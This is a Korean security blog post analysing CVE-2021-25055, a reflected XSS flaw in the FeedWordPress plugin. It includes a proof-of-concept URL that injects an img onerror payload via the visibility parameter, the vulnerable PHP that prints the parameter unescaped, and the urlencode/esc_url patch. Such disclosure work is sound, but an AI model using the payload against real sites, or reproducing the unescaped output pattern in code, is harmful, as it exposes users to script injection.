Post

[CVE-2021-25055] 취약점 분석 보고서

FeedWordPress에서 발생하는 Reflected XSS 취약점

1. 취약점 개요

FeedWordPress는 WordPress 블로그에 외부 사이트의 글을 자동으로 가져와 게시물로 저장해주는 플러그인이다. 예를 들어, 뉴스 사이트나 블로그에서 글을 가져와 내 블로그에 자동으로 추가할 수 있다. 여러 사이트에서 글을 가져올 수도 있고, 가져온 글을 내 블로그 스타일에 맞게 꾸밀 수도 있다.

CVE-2021-25055 취약점은 서버가 visibility 매개변수를 적절히 검증하지 않기 때문에 Reflected XSS 공격에 취약하다.

2. 영향을 받는 버전

  • FeedWordPress ≤ 2022.0123

3. 취약점 테스트

Step 1. PoC

1
https://example.com/wp-admin/admin.php?page=feedwordpress%2Fsyndication.php&visibility=%22%3E%3Cimg+src%3D2+onerror%3Dalert%28origin%29%3E

Step 2. PoC 실행

image.png

4. 취약점 상세 분석

사용자로부터 입력받은 값인 visibility을 확인하고 사용자가 값을 제공했다면 그 값을 반환하고 그렇지 않으면 내부 로직에 따라 기본값인 defaultVisibility가 반환된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// feedwordpress/feedwordpresssyndicationpage.class.php

function visibility_toggle () {
	$sources = $this->sources('*');

	$defaultVisibility = 'Y';
	if ((count($this->sources('N')) > 0)
	and (count($this->sources('Y'))==0)) :
		$defaultVisibility = 'N';
	endif;
	
	$visibility = (
		isset($_REQUEST['visibility'])
		? $_REQUEST['visibility']
		: $defaultVisibility
	);
	
	return $visibility;
} /* FeedWordPressSyndicationPage::visibility_toggle() */

사용자한테 받은 값은 클래스 내부 메서드에서 다시 visibility 변수에 담겨 그대로 출력된다.

1
2
3
4
5
// feedwordpress/feedwordpresssyndicationpage.class.php

function syndicated_sources_box ($page, $box = NULL) {
	$visibility = $this->visibility_toggle();
}
1
<form enctype="multipart/form-data" action="<?php print $hrefPrefix; ?>&amp;visibility=<?php print $visibility; ?>" method="post">

아래와 같이 HTML 구조가 깨져버리지만 img 태그가 삽입되어 XSS가 발생하게 된다.

1
<form enctype="multipart/form-data" action="http://example.com/form&amp;visibility="><img src=2 onerror=alert(origin)>" method="post">

5. 패치

https://plugins.trac.wordpress.org/changeset/2662665

visibility 의 값이 urlencode를 통해 URL 인코딩되었으며 최종적으로 esc_url 함수가 사용되어 안전한 URL 형식으로 변환되었다.

image.png

This post is licensed under CC BY 4.0 by the author.